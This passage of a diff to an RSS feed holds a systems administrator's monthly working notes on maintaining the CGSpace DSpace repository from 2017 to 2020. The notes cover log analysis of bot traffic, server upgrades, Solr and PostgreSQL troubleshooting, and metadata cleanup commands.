<a href="https://hdl.handle.net/10568/81236">item</a> that had the same problem in 2019 has also been fixed</li> +</ul> +</li> +</ul> +<h2 id="2020-01-07">2020-01-07</h2> +<ul> +<li>Peter Ballantyne highlighted one more WLE <a href="https://hdl.handle.net/10568/101286">item</a> that is missing the Altmetric score that its DOI has +<ul> +<li>The DOI has a score of 259, but the Handle has no score at all</li> +<li>I <a href="https://twitter.com/mralanorth/status/1214471427157626881">tweeted</a> the CGSpace repository link</li> +</ul> +</li> +</ul> + + + + December, 2019 + https://alanorth.github.io/cgspace-notes/2019-12/ + Sun, 01 Dec 2019 11:22:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-12/ + <h2 id="2019-12-01">2019-12-01</h2> +<ul> +<li>Upgrade CGSpace (linode18) to Ubuntu 18.04: +<ul> +<li>Check any packages that have residual configs and purge them:</li> +<li><!-- raw HTML omitted --># dpkg -l | grep -E &lsquo;^rc&rsquo; | awk &lsquo;{print $2}&rsquo; | xargs dpkg -P<!-- raw HTML omitted --></li> +<li>Make sure all packages are up to date and the package manager is up to date, then reboot:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># apt update &amp;&amp; apt full-upgrade +# apt-get autoremove &amp;&amp; apt-get autoclean +# dpkg -C +# reboot +</code></pre> + + + + November, 2019 + https://alanorth.github.io/cgspace-notes/2019-11/ + Mon, 04 Nov 2019 12:20:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-11/ + <h2 id="2019-11-04">2019-11-04</h2> +<ul> +<li>Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +<ul> +<li>I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*access.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +4671942 +# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +1277694 +</code></pre><ul> +<li>So 4.6 million from XMLUI and another 1.2 million from API requests</li> +<li>Let&rsquo;s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E &#34;[0-9]{1,2}/Oct/2019&#34; +1183456 +# zcat --force /var/log/nginx/rest.log.*.gz | grep -E &#34;[0-9]{1,2}/Oct/2019&#34; | grep -c -E &#34;/rest/bitstreams&#34; +106781 +</code></pre> + + + + October, 2019 + https://alanorth.github.io/cgspace-notes/2019-10/ + Tue, 01 Oct 2019 13:20:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-10/ + 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script&rsquo;s &ldquo;unneccesary Unicode&rdquo; fix: $ csvcut -c &#39;id,dc. + + + + September, 2019 + https://alanorth.github.io/cgspace-notes/2019-09/ + Sun, 01 Sep 2019 10:17:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-09/ + <h2 id="2019-09-01">2019-09-01</h2> +<ul> +<li>Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning</li> +<li>Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 440 17.58.101.255 + 441 157.55.39.101 + 485 207.46.13.43 + 728 169.60.128.125 + 730 207.46.13.108 + 758 157.55.39.9 + 808 66.160.140.179 + 814 207.46.13.212 + 2472 163.172.71.23 + 6092 3.94.211.189 +# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E &#34;01/Sep/2019:0&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 33 2a01:7e00::f03c:91ff:fe16:fcb + 57 3.83.192.124 + 57 3.87.77.25 + 57 54.82.1.8 + 822 2a01:9cc0:47:1:1a:4:0:2 + 1223 45.5.184.72 + 1633 172.104.229.92 + 5112 205.186.128.185 + 7249 2a01:7e00::f03c:91ff:fe18:7396 + 9124 45.5.186.2 +</code></pre> + + + + August, 2019 + https://alanorth.github.io/cgspace-notes/2019-08/ + Sat, 03 Aug 2019 12:39:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-08/ + <h2 id="2019-08-03">2019-08-03</h2> +<ul> +<li>Look at Bioversity&rsquo;s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name&hellip;</li> +</ul> +<h2 id="2019-08-04">2019-08-04</h2> +<ul> +<li>Deploy ORCID identifier updates requested by Bioversity to CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it +<ul> +<li>Before updating it I checked Solr and verified that all statistics cores were loaded properly&hellip;</li> +<li>After rebooting, all statistics cores were loaded&hellip; wow, that&rsquo;s lucky.</li> +</ul> +</li> +<li>Run system updates on DSpace Test (linode19) and reboot it</li> +</ul> + + + + July, 2019 + https://alanorth.github.io/cgspace-notes/2019-07/ + Mon, 01 Jul 2019 12:13:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-07/ + <h2 id="2019-07-01">2019-07-01</h2> +<ul> +<li>Create an &ldquo;AfricaRice books and book chapters&rdquo; collection on CGSpace for AfricaRice</li> +<li>Last month Sisay asked why the following &ldquo;most popular&rdquo; statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: +<ul> +<li><a href="https://dspacetest.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">DSpace Test</a></li> +<li><a href="https://cgspace.cgiar.org/handle/10568/35697/most-popular/item#simplefilter=custom&amp;time_filter_end_date=01%2F12%2F2018">CGSpace</a></li> +</ul> +</li> +<li>Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community</li> +</ul> + + + + June, 2019 + https://alanorth.github.io/cgspace-notes/2019-06/ + Sun, 02 Jun 2019 10:57:51 +0300 + + https://alanorth.github.io/cgspace-notes/2019-06/ + <h2 id="2019-06-02">2019-06-02</h2> +<ul> +<li>Merge the <a href="https://github.com/ilri/DSpace/pull/425">Solr filterCache</a> and <a href="https://github.com/ilri/DSpace/pull/426">XMLUI ISI journal</a> changes to the <code>5_x-prod</code> branch and deploy on CGSpace</li> +<li>Run system updates on CGSpace (linode18) and reboot it</li> +</ul> +<h2 id="2019-06-03">2019-06-03</h2> +<ul> +<li>Skype with Marie-Angélique and Abenet about <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2</a></li> +</ul> + + + + May, 2019 + https://alanorth.github.io/cgspace-notes/2019-05/ + Wed, 01 May 2019 07:37:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-05/ + <h2 id="2019-05-01">2019-05-01</h2> +<ul> +<li>Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace</li> +<li>A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +<ul> +<li>Apparently if the item is in the <code>workflowitem</code> table it is submitted to a workflow</li> +<li>And if it is in the <code>workspaceitem</code> table it is in the pre-submitted state</li> +</ul> +</li> +<li>The item seems to be in a pre-submitted state, so I tried to delete it from there:</li> +</ul> +<pre tabindex="0"><code>dspace=# DELETE FROM workspaceitem WHERE item_id=74648; +DELETE 1 +</code></pre><ul> +<li>But after this I tried to delete the item from the XMLUI and it is <em>still</em> present&hellip;</li> +</ul> + + + + April, 2019 + https://alanorth.github.io/cgspace-notes/2019-04/ + Mon, 01 Apr 2019 09:00:43 +0300 + + https://alanorth.github.io/cgspace-notes/2019-04/ + <h2 id="2019-04-01">2019-04-01</h2> +<ul> +<li>Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +<ul> +<li>They asked if we had plans to enable RDF support in CGSpace</li> +</ul> +</li> +<li>There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +<ul> +<li>I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep &#39;Spore-192-EN-web.pdf&#39; | grep -E &#39;(18.196.196.108|18.195.78.144|18.195.218.6)&#39; | awk &#39;{print $9}&#39; | sort | uniq -c | sort -n | tail -n 5 + 4432 200 +</code></pre><ul> +<li>In the last two weeks there have been 47,000 downloads of this <em>same exact PDF</em> by these three IP addresses</li> +<li>Apply country and region corrections and deletions on DSpace Test and CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.country -m 228 -t ACTION -d +$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p &#39;fuuu&#39; -f cg.coverage.region -m 231 -t action -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 228 -f cg.coverage.country -d +$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p &#39;fuuu&#39; -m 231 -f cg.coverage.region -d +</code></pre> + + + + March, 2019 + https://alanorth.github.io/cgspace-notes/2019-03/ + Fri, 01 Mar 2019 12:16:30 +0100 + + https://alanorth.github.io/cgspace-notes/2019-03/ + <h2 id="2019-03-01">2019-03-01</h2> +<ul> +<li>I checked IITA&rsquo;s 259 Feb 14 records from last month for duplicates using Atmire&rsquo;s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good</li> +<li>I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc&hellip;</li> +<li>Looking at the other half of Udana&rsquo;s WLE records from 2018-11 +<ul> +<li>I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)</li> +<li>I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items</li> +<li>Most worryingly, there are encoding errors in the abstracts for eleven items, for example:</li> +<li>68.15% � 9.45 instead of 68.15% ± 9.45</li> +<li>2003�2013 instead of 2003–2013</li> +</ul> +</li> +<li>I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs</li> +</ul> + + + + February, 2019 + https://alanorth.github.io/cgspace-notes/2019-02/ + Fri, 01 Feb 2019 21:37:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-02/ + <h2 id="2019-02-01">2019-02-01</h2> +<ul> +<li>Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!</li> +<li>The top IPs before, during, and after this latest alert tonight were:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;01/Feb/2019:(17|18|19|20|21)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 245 207.46.13.5 + 332 54.70.40.11 + 385 5.143.231.38 + 405 207.46.13.173 + 405 207.46.13.75 + 1117 66.249.66.219 + 1121 35.237.175.180 + 1546 5.9.6.51 + 2474 45.5.186.2 + 5490 85.25.237.71 +</code></pre><ul> +<li><code>85.25.237.71</code> is the &ldquo;Linguee Bot&rdquo; that I first saw last month</li> +<li>The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase</li> +<li>There were just over 3 million accesses in the nginx logs last month:</li> +</ul> +<pre tabindex="0"><code># time zcat --force /var/log/nginx/* | grep -cE &#34;[0-9]{1,2}/Jan/2019&#34; +3018243 + +real 0m19.873s +user 0m22.203s +sys 0m1.979s +</code></pre> + + + + January, 2019 + https://alanorth.github.io/cgspace-notes/2019-01/ + Wed, 02 Jan 2019 09:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-01/ + <h2 id="2019-01-02">2019-01-02</h2> +<ul> +<li>Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning</li> +<li>I don&rsquo;t see anything interesting in the web server logs around that time though:</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E &#34;02/Jan/2019:0(1|2|3)&#34; | awk &#39;{print $1}&#39; | sort | uniq -c | sort -n | tail -n 10 + 92 40.77.167.4 + 99 210.7.29.100 + 120 38.126.157.45 + 177 35.237.175.180 + 177 40.77.167.32 + 216 66.249.75.219 + 225 18.203.76.93 + 261 46.101.86.248 + 357 207.46.13.1 + 903 54.70.40.11 +</code></pre> + + + + December, 2018 + https://alanorth.github.io/cgspace-notes/2018-12/ + Sun, 02 Dec 2018 02:09:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-12/ + <h2 id="2018-12-01">2018-12-01</h2> +<ul> +<li>Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK</li> +<li>I manually installed OpenJDK, then removed Oracle JDK, then re-ran the <a href="http://github.com/ilri/rmg-ansible-public">Ansible playbook</a> to update all configuration files, etc</li> +<li>Then I ran all system updates and restarted the server</li> +</ul> +<h2 id="2018-12-02">2018-12-02</h2> +<ul> +<li>I noticed that there is another issue with PDF thumbnails on CGSpace, and I see there was another <a href="https://usn.ubuntu.com/3831-1/">Ghostscript vulnerability last week</a></li> +</ul> + + + + November, 2018 + https://alanorth.github.io/cgspace-notes/2018-11/ + Thu, 01 Nov 2018 16:41:30 +0200 + + https://alanorth.github.io/cgspace-notes/2018-11/ + <h2 id="2018-11-01">2018-11-01</h2> +<ul> +<li>Finalize AReS Phase I and Phase II ToRs</li> +<li>Send a note about my <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> to the dspace-tech mailing list</li> +</ul> +<h2 id="2018-11-03">2018-11-03</h2> +<ul> +<li>Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage</li> +<li>Today these are the top 10 IPs:</li> +</ul> + + + + October, 2018 + https://alanorth.github.io/cgspace-notes/2018-10/ + Mon, 01 Oct 2018 22:31:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-10/ + <h2 id="2018-10-01">2018-10-01</h2> +<ul> +<li>Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items</li> +<li>I created a GitHub issue to track this <a href="https://github.com/ilri/DSpace/issues/389">#389</a>, because I&rsquo;m super busy in Nairobi right now</li> +</ul> + + + + September, 2018 + https://alanorth.github.io/cgspace-notes/2018-09/ + Sun, 02 Sep 2018 09:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-09/ + <h2 id="2018-09-02">2018-09-02</h2> +<ul> +<li>New <a href="https://jdbc.postgresql.org/documentation/changelog.html#version_42.2.5">PostgreSQL JDBC driver version 42.2.5</a></li> +<li>I&rsquo;ll update the DSpace role in our <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure playbooks</a> and run the updated playbooks on CGSpace and DSpace Test</li> +<li>Also, I&rsquo;ll re-run the <code>postgresql</code> tasks because the custom PostgreSQL variables are dynamic according to the system&rsquo;s RAM, and we never re-ran them after migrating to larger Linodes last month</li> +<li>I&rsquo;m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I&rsquo;m getting those autowire errors in Tomcat 8.5.30 again:</li> +</ul> + + + + August, 2018 + https://alanorth.github.io/cgspace-notes/2018-08/ + Wed, 01 Aug 2018 11:52:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-08/ + <h2 id="2018-08-01">2018-08-01</h2> +<ul> +<li>DSpace Test had crashed at some point yesterday morning and I see the following in <code>dmesg</code>:</li> +</ul> +<pre tabindex="0"><code>[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child +[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB +[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +</code></pre><ul> +<li>Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight</li> +<li>From the DSpace log I see that eventually Solr stopped responding, so I guess the <code>java</code> process that was OOM killed above was Tomcat&rsquo;s</li> +<li>I&rsquo;m not sure why Tomcat didn&rsquo;t crash with an OutOfMemoryError&hellip;</li> +<li>Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core</li> +<li>The server only has 8GB of RAM so we&rsquo;ll eventually need to upgrade to a larger one because we&rsquo;ll start starving the OS, PostgreSQL, and command line batch processes</li> +<li>I ran all system updates on DSpace Test and rebooted it</li> +</ul> + + + + July, 2018 + https://alanorth.github.io/cgspace-notes/2018-07/ + Sun, 01 Jul 2018 12:56:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-07/ + <h2 id="2018-07-01">2018-07-01</h2> +<ul> +<li>I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:</li> +</ul> +<pre tabindex="0"><code>$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace +</code></pre><ul> +<li>During the <code>mvn package</code> stage on the 5.8 branch I kept getting issues with java running out of memory:</li> +</ul> +<pre tabindex="0"><code>There is insufficient memory for the Java Runtime Environment to continue. +</code></pre> + + + + June, 2018 + https://alanorth.github.io/cgspace-notes/2018-06/ + Mon, 04 Jun 2018 19:49:54 -0700 + + https://alanorth.github.io/cgspace-notes/2018-06/ + <h2 id="2018-06-04">2018-06-04</h2> +<ul> +<li>Test the <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=560">DSpace 5.8 module upgrades from Atmire</a> (<a href="https://github.com/ilri/DSpace/pull/378">#378</a>) +<ul> +<li>There seems to be a problem with the CUA and L&amp;R versions in <code>pom.xml</code> because they are using SNAPSHOT and it doesn&rsquo;t build</li> +</ul> +</li> +<li>I added the new CCAFS Phase II Project Tag <code>PII-FP1_PACCA2</code> and merged it into the <code>5_x-prod</code> branch (<a href="https://github.com/ilri/DSpace/pull/379">#379</a>)</li> +<li>I proofed and tested the ILRI author corrections that Peter sent back to me this week:</li> +</ul> +<pre tabindex="0"><code>$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p &#39;fuuu&#39; -f dc.contributor.author -t correct -m 3 -n +</code></pre><ul> +<li>I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-03/">March, 2018</a></li> +<li>Time to index ~70,000 items on CGSpace:</li> +</ul> +<pre tabindex="0"><code>$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b + +real 74m42.646s +user 8m5.056s +sys 2m7.289s +</code></pre> + + + + May, 2018 + https://alanorth.github.io/cgspace-notes/2018-05/ + Tue, 01 May 2018 16:43:54 +0300 + + https://alanorth.github.io/cgspace-notes/2018-05/ + <h2 id="2018-05-01">2018-05-01</h2> +<ul> +<li>I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +<ul> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E</li> +<li>http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E</li> +</ul> +</li> +<li>Then I reduced the JVM heap size from 6144 back to 5120m</li> +<li>Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the <a href="https://github.com/ilri/rmg-ansible-public">Ansible infrastructure scripts</a> to support hosts choosing which distribution they want to use</li> +</ul> + + + + April, 2018 + https://alanorth.github.io/cgspace-notes/2018-04/ + Sun, 01 Apr 2018 16:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-04/ + <h2 id="2018-04-01">2018-04-01</h2> +<ul> +<li>I tried to test something on DSpace Test but noticed that it&rsquo;s down since god knows when</li> +<li>Catalina logs at least show some memory errors yesterday:</li> +</ul> + + + + March, 2018 + https://alanorth.github.io/cgspace-notes/2018-03/ + Fri, 02 Mar 2018 16:07:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-03/ + <h2 id="2018-03-02">2018-03-02</h2> +<ul> +<li>Export a CSV of the IITA community metadata for Martin Mueller</li> +</ul> + + + + February, 2018 + https://alanorth.github.io/cgspace-notes/2018-02/ + Thu, 01 Feb 2018 16:28:54 +0200 + + https://alanorth.github.io/cgspace-notes/2018-02/ + <h2 id="2018-02-01">2018-02-01</h2> +<ul> +<li>Peter gave feedback on the <code>dc.rights</code> proof of concept that I had sent him last week</li> +<li>We don&rsquo;t need to distinguish between internal and external works, so that makes it just a simple list</li> +<li>Yesterday I figured out how to monitor DSpace sessions using JMX</li> +<li>I copied the logic in the <code>jmx_tomcat_dbpools</code> provided by Ubuntu&rsquo;s <code>munin-plugins-java</code> package and used the stuff I discovered about JMX <a href="https://alanorth.github.io/cgspace-notes/cgspace-notes/2018-01/">in 2018-01</a></li> +</ul> + + + + January, 2018 + https://alanorth.github.io/cgspace-notes/2018-01/ + Tue, 02 Jan 2018 08:35:54 -0800 + + https://alanorth.github.io/cgspace-notes/2018-01/ + <h2 id="2018-01-02">2018-01-02</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time</li> +<li>I didn&rsquo;t get any load alerts from Linode and the REST and XMLUI logs don&rsquo;t show anything out of the ordinary</li> +<li>The nginx logs show HTTP 200s until <code>02/Jan/2018:11:27:17 +0000</code> when Uptime Robot got an HTTP 500</li> +<li>In dspace.log around that time I see many errors like &ldquo;Client closed the connection before file download was complete&rdquo;</li> +<li>And just before that I see this:</li> +</ul> +<pre tabindex="0"><code>Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000]. +</code></pre><ul> +<li>Ah hah! So the pool was actually empty!</li> +<li>I need to increase that, let&rsquo;s try to bump it up from 50 to 75</li> +<li>After that one client got an HTTP 499 but then the rest were HTTP 200, so I don&rsquo;t know what the hell Uptime Robot saw</li> +<li>I notice this error quite a few times in dspace.log:</li> +</ul> +<pre tabindex="0"><code>2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets +org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse &#39;dateIssued_keyword:[1976+TO+1979]&#39;: Encountered &#34; &#34;]&#34; &#34;] &#34;&#34; at line 1, column 32. +</code></pre><ul> +<li>And there are many of these errors every day for the past month:</li> +</ul> +<pre tabindex="0"><code>$ grep -c &#34;Error while searching for sidebar facets&#34; dspace.log.* +dspace.log.2017-11-21:4 +dspace.log.2017-11-22:1 +dspace.log.2017-11-23:4 +dspace.log.2017-11-24:11 +dspace.log.2017-11-25:0 +dspace.log.2017-11-26:1 +dspace.log.2017-11-27:7 +dspace.log.2017-11-28:21 +dspace.log.2017-11-29:31 +dspace.log.2017-11-30:15 +dspace.log.2017-12-01:15 +dspace.log.2017-12-02:20 +dspace.log.2017-12-03:38 +dspace.log.2017-12-04:65 +dspace.log.2017-12-05:43 +dspace.log.2017-12-06:72 +dspace.log.2017-12-07:27 +dspace.log.2017-12-08:15 +dspace.log.2017-12-09:29 +dspace.log.2017-12-10:35 +dspace.log.2017-12-11:20 +dspace.log.2017-12-12:44 +dspace.log.2017-12-13:36 +dspace.log.2017-12-14:59 +dspace.log.2017-12-15:104 +dspace.log.2017-12-16:53 +dspace.log.2017-12-17:66 +dspace.log.2017-12-18:83 +dspace.log.2017-12-19:101 +dspace.log.2017-12-20:74 +dspace.log.2017-12-21:55 +dspace.log.2017-12-22:66 +dspace.log.2017-12-23:50 +dspace.log.2017-12-24:85 +dspace.log.2017-12-25:62 +dspace.log.2017-12-26:49 +dspace.log.2017-12-27:30 +dspace.log.2017-12-28:54 +dspace.log.2017-12-29:68 +dspace.log.2017-12-30:89 +dspace.log.2017-12-31:53 +dspace.log.2018-01-01:45 +dspace.log.2018-01-02:34 +</code></pre><ul> +<li>Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let&rsquo;s Encrypt if it&rsquo;s just a handful of domains</li> +</ul> + + + + December, 2017 + https://alanorth.github.io/cgspace-notes/2017-12/ + Fri, 01 Dec 2017 13:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-12/ + <h2 id="2017-12-01">2017-12-01</h2> +<ul> +<li>Uptime Robot noticed that CGSpace went down</li> +<li>The logs say &ldquo;Timeout waiting for idle object&rdquo;</li> +<li>PostgreSQL activity says there are 115 connections currently</li> +<li>The list of connections to XMLUI and REST API for today:</li> +</ul> + + + + November, 2017 + https://alanorth.github.io/cgspace-notes/2017-11/ + Thu, 02 Nov 2017 09:37:54 +0200 + + https://alanorth.github.io/cgspace-notes/2017-11/ + <h2 id="2017-11-01">2017-11-01</h2> +<ul> +<li>The CORE developers responded to say they are looking into their bot not respecting our robots.txt</li> +</ul> +<h2 id="2017-11-02">2017-11-02</h2> +<ul> +<li>Today there have been no hits by CORE and no alerts from Linode (coincidence?)</li> +</ul> +<pre tabindex="0"><code># grep -c &#34;CORE&#34; /var/log/nginx/access.log +0 +</code></pre><ul> +<li>Generate list of authors on CGSpace for Peter to go through and correct:</li> +</ul> +<pre tabindex="0"><code>dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = &#39;contributor&#39; and qualifier = &#39;author&#39;) AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv; +COPY 54701 +</code></pre> + + + + October, 2017 + https://alanorth.github.io/cgspace-notes/2017-10/ + Sun, 01 Oct 2017 08:07:54 +0300 + + https://alanorth.github.io/cgspace-notes/2017-10/ + <h2 id="2017-10-01">2017-10-01</h2> +<ul> +<li>Peter emailed to point out that many items in the <a href="https://cgspace.cgiar.org/handle/10568/2703">ILRI archive collection</a> have multiple handles:</li> +</ul> +<pre tabindex="0"><code>http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336 +</code></pre><ul> +<li>There appears to be a pattern but I&rsquo;ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine</li> +<li>Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections</li> +</ul> + + + + CGIAR Library Migration + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + Mon, 18 Sep 2017 16:38:35 +0300 + + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + <p>Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called <em>CGIAR System Organization</em>.</p> + + + + September, 2017 + https://alanorth.github.io/cgspace-notes/2017-09/ + Thu, 07 Sep 2017 16:54:52 +0700 + + https://alanorth.github.io/cgspace-notes/2017-09/ + <h2 id="2017-09-06">2017-09-06</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours</li> +</ul> +<h2 id="2017-09-07">2017-09-07</h2> +<ul> +<li>Ask Sisay to clean up the WLE approvers a bit, as Marianne&rsquo;s user account is both in the approvers step as well as the group</li> +</ul> + + + + August, 2017 + https://alanorth.github.io/cgspace-notes/2017-08/ + Tue, 01 Aug 2017 11:51:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-08/ + <h2 id="2017-08-01">2017-08-01</h2> +<ul> +<li>Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours</li> +<li>I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)</li> +<li>The good thing is that, according to <code>dspace.log.2017-08-01</code>, they are all using the same Tomcat session</li> +<li>This means our Tomcat Crawler Session Valve is working</li> +<li>But many of the bots are browsing dynamic URLs like: +<ul> +<li>/handle/10568/3353/discover</li> +<li>/handle/10568/16510/browse</li> +</ul> +</li> +<li>The <code>robots.txt</code> only blocks the top-level <code>/discover</code> and <code>/browse</code> URLs&hellip; we will need to find a way to forbid them from accessing these!</li> +<li>Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): <a href="https://jira.duraspace.org/browse/DS-2962">https://jira.duraspace.org/browse/DS-2962</a></li> +<li>It turns out that we&rsquo;re already adding the <code>X-Robots-Tag &quot;none&quot;</code> HTTP header, but this only forbids the search engine from <em>indexing</em> the page, not crawling it!</li> +<li>Also, the bot has to successfully browse the page first so it can receive the HTTP header&hellip;</li> +<li>We might actually have to <em>block</em> these requests with HTTP 403 depending on the user agent</li> +<li>Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415</li> +<li>This was due to newline characters in the <code>dc.description.abstract</code> column, which caused OpenRefine to choke when exporting the CSV</li> +<li>I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using <code>g/^$/d</code></li> +<li>Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet</li> +</ul> + + + + July, 2017 + https://alanorth.github.io/cgspace-notes/2017-07/ + Sat, 01 Jul 2017 18:03:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-07/ + <h2 id="2017-07-01">2017-07-01</h2> +<ul> +<li>Run system updates and reboot DSpace Test</li> 